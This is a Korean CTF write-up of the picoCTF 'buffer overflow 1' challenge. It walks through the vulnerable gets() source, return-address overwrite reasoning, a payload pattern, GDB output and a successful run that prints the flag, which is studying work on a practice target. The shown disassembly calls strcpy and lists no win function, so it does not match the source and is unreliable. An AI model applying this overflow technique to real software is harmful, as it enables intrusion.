문제

인스턴스 누르니 문제 다운받는 링크 떴다

다운받은 파일 여기로 옮기기

실행해보기
이번에도 입력창이 뜬다.
aaaaa 입력해봤다

소스코드 봐보자
소스코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
단순히 프로그램을 터뜨리는 것이 아니라, 프로그램의 실행 흐름을 조작하여 실행되지 않아야 할 함수를 강제로 호출하는 것이 목표다.
1. 주요 함수 분석
win() 함수
void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); ... fgets(buf,FLAGSIZE,f); printf(buf); }- 역할: flag.txt를 읽어서 내용을 출력한다.
- 특이점: main 함수나 다른 어디에서도 이 함수를 호출하는 코드가 없다. 즉, 정상적인 방법으로는 실행될 수 없는 함수다. 이 함수의 시작 주소를 알아내어 프로그램이 이쪽으로 점프하게 만드는 것이 공격의 핵심이다.
vuln() 함수
void vuln(){ char buf[BUFSIZE]; // BUFSIZE = 32 gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\\n", get_return_address()); }- 취약점: char buf[32]로 32바이트 공간을 할당했지만, 입력 제한이 없는 gets(buf) 함수를 사용한다.
- 스택 구조: buf 뒤에는 스택 프레임 포인터(SFP)와 함수가 끝난 후 돌아갈 복귀 주소(Return Address)가 저장되어 있다.
- 출력문: get_return_address()를 통해 현재 이 함수가 끝난 뒤 어디로 돌아갈지 주소값을 보여준다. 공격자가 이 주소를 덮어썼다면, 바뀐 주소가 화면에 출력될 것이다.
2. 공격 메커니즘: Return Address Overwrite
이 문제는 스택 오버플로우를 이용해 vuln 함수가 종료될 때 원래의 main 함수로 돌아가는 대신, win 함수로 가도록 복귀 주소를 변조해야 한다.
스택의 구성 (예시)
vuln 함수가 실행될 때 스택은 대략 다음과 같은 순서로 쌓여 있다.
- buf[32] (32바이트)
- Saved EBP (4바이트 - 32비트 기준)
- Return Address (4바이트)
공격자는 gets를 통해 32바이트를 채우고, 추가로 4바이트(SFP)를 더 채운 뒤, 그 다음 4바이트에 win 함수의 주소값을 넣어야 한다.
3. 해결을 위한 분석 단계
단계 1: win 함수의 주소 찾기
방법1) GDB를 사용하여 win 함수의 메모리 주소를 확인해야 한다.
pwndbg> info address win방법2) 여기서 나온 주소값(예: 0x08048f0d)이 우리가 복귀 주소에 덮어써야 할 값이다.
pwndbg> print win
단계 2: 오프셋(Offset) 확인
buf의 시작점부터 복귀 주소까지 정확히 몇 바이트가 떨어져 있는지 알아내야 한다.
- BUFSIZE가 32이므로, 보통 32(buf) + 12(더미 데이터) = 44바이트 뒤에 복귀 주소가 위치하는 경우가 많다.
- 정확한 값은 GDB에서 pattern create와 pattern offset 명령어를 사용해 찾을 수 있다.
단계 3: 페이로드 구성
만약 오프셋이 44바이트고 win의 주소가 0x08048f0d라면, 공격 문자열은 다음과 같은 형태가 된다.
- "A" * 44 + "\\x0d\\x8f\\x04\\x08" (리틀 엔디언 방식 적용)
4. 요약
- 목표: vuln 함수의 복귀 주소를 win 함수의 주소로 덮어쓰기.
- 취약점: gets() 함수를 통한 버퍼 오버플로우.
- 필요 정보:
- buf 시작점부터 복귀 주소까지의 거리(오프셋).
- win 함수의 메모리 주소.
gdb 접속
gdb vuln
info func
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x00001000 _init
0x00001100 __cxa_finalize@plt
0x00001110 printf@plt
0x00001120 fflush@plt
0x00001130 gets@plt
0x00001140 fgets@plt
0x00001150 signal@plt
0x00001160 getegid@plt
0x00001170 strcpy@plt
0x00001180 puts@plt
0x00001190 exit@plt
0x000011a0 __libc_start_main@plt
0x000011b0 fopen@plt
0x000011c0 setresgid@plt
0x000011d0 _start
0x00001210 __x86.get_pc_thunk.bx
0x00001220 deregister_tm_clones
0x00001260 register_tm_clones
0x000012b0 __do_global_dtors_aux
0x00001300 frame_dummy
0x00001309 __x86.get_pc_thunk.dx
0x0000130d sigsegv_handler
0x00001353 vuln
0x00001382 main
0x0000149b __x86.get_pc_thunk.ax
0x000014a0 __libc_csu_init
0x00001510 __libc_csu_fini
0x00001515 __x86.get_pc_thunk.bp
0x0000151c _fini
disass vuln
pwndbg> disass vuln
Dump of assembler code for function vuln:
0x00001353 <+0>: endbr32
0x00001357 <+4>: push ebp
0x00001358 <+5>: mov ebp,esp
0x0000135a <+7>: push ebx
0x0000135b <+8>: sub esp,0x14
0x0000135e <+11>: call 0x149b <__x86.get_pc_thunk.ax>
0x00001363 <+16>: add eax,0x2c49
0x00001368 <+21>: sub esp,0x8
0x0000136b <+24>: push DWORD PTR [ebp+0x8]
0x0000136e <+27>: lea edx,[ebp-0x18]
0x00001371 <+30>: push edx
0x00001372 <+31>: mov ebx,eax
0x00001374 <+33>: call 0x1170 <strcpy@plt>
0x00001379 <+38>: add esp,0x10
0x0000137c <+41>: nop
0x0000137d <+42>: mov ebx,DWORD PTR [ebp-0x4]
0x00001380 <+45>: leave
0x00001381 <+46>: ret
End of assembler dump.
익스플로잇
코드 작성할 파일 생성하기
vi [파일명]
코드 작성하기

python3 파일명
실행하기

(venv) dada@LAPTOP-OTMC93DN:~/Interlude_System_Study$ python3 exploit.py
[+] Opening connection to saturn.picoctf.net on port 56761: Done
[*] Switching to interactive mode
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_5c6baa9e}[*] Got EOF while reading in interactive
플래그
picoCTF{addr3ss3s_ar3_3asy_5c6baa9e}
성공이다

'System Hacking > 인터루드 스터디' 카테고리의 다른 글
| 260514 [picoCTF] format string 0 (0) | 2026.05.14 |
|---|---|
| [picoCTF] buffer overflow 2 (0) | 2026.04.02 |
| [picoCTF:] buffer overflow 0 (0) | 2026.04.02 |
| [pwnable.kr] bof (0) | 2026.03.26 |
| [pwnable.kr] fd (0) | 2026.03.26 |